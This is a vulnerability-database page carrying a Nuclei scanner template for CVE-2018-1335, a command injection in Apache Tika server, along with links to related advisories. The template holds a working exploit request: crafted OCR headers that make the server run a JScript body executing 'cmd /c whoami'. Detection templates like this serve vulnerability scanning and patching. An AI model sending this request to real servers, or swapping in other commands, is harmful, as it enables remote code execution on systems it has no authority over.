Lucene search
K

Apache Tika < 1.1.8 - Header Command Injection

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 37 Views

Apache Tika <1.1.8- Header Command Injection CVE-2018-1335 allows command injection through crafted headers, impacting servers running Tika 1.7 to 1.17. Remediation is upgrading to Tika 1.18

Related
Refs
Code
ReporterTitlePublishedViews
Family
Gitee
Exploit for Code Injection in Pivotal_Software Spring_Data_Commons
11 Apr 202111:34
gitee
0day.today
Apache Tika-server < 1.18 - Command Injection Exploit
13 Mar 201900:00
zdt
0day.today
Apache Tika 1.15 - 1.17 - Header Command Injection Exploit
5 Aug 201900:00
zdt
ATTACKERKB
Apache Tika Header Command Injection CVE-2018-1335
25 Apr 201800:00
attackerkb
Circl
CVE-2018-1335
12 Mar 201915:32
circl
CNVD
Apache Tika Command Injection Vulnerability
26 Apr 201800:00
cnvd
Check Point Advisories
Apache Tika Command Injection (CVE-2018-1335)
6 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-1335
25 Apr 201821:00
cve
Cvelist
CVE-2018-1335
25 Apr 201821:00
cvelist
Debian CVE
CVE-2018-1335
25 Apr 201821:00
debiancve
Rows per page
id: CVE-2018-1335

info:
  name: Apache Tika < 1.1.8 - Header Command Injection
  author: pikpikcu
  severity: high
  description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected server.
  remediation: Upgrade to Tika 1.18.
  reference:
    - https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/
    - https://www.exploit-db.com/exploits/47208
    - https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1335
    - http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-1335
    epss-score: 0.94106
    epss-percentile: 0.99837
    cpe: cpe:2.3:a:apache:tika:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: tika
  tags: cve,cve2018,packetstorm,edb,apache,tika,rce,intrusive,vkev,vuln

http:
  - method: PUT
    path:
      - "{{BaseURL}}/meta"

    body: var oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");

    headers:
      X-Tika-OCRTesseractPath: cscript
      X-Tika-OCRLanguage: //E:Jscript
      Expect: 100-continue
      Content-type: image/jp2
      Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: text/csv"

      - type: word
        part: body
        words:
          - org.apache.tika.parser.DefaultParser
          - org.apache.tika.parser.gdal.GDALParse
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f40d219cf60747515496e543b9f28e4f5e62c261d87b7184dff7fbd0f72ae28702201901b8fabdc635eff26cbb81be6fc170af36e682b06576a639c49dc06d63d492:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.7High risk
Vulners AI Score7.7
CVSS 38.1
CVSS 29.3
EPSS0.94106
37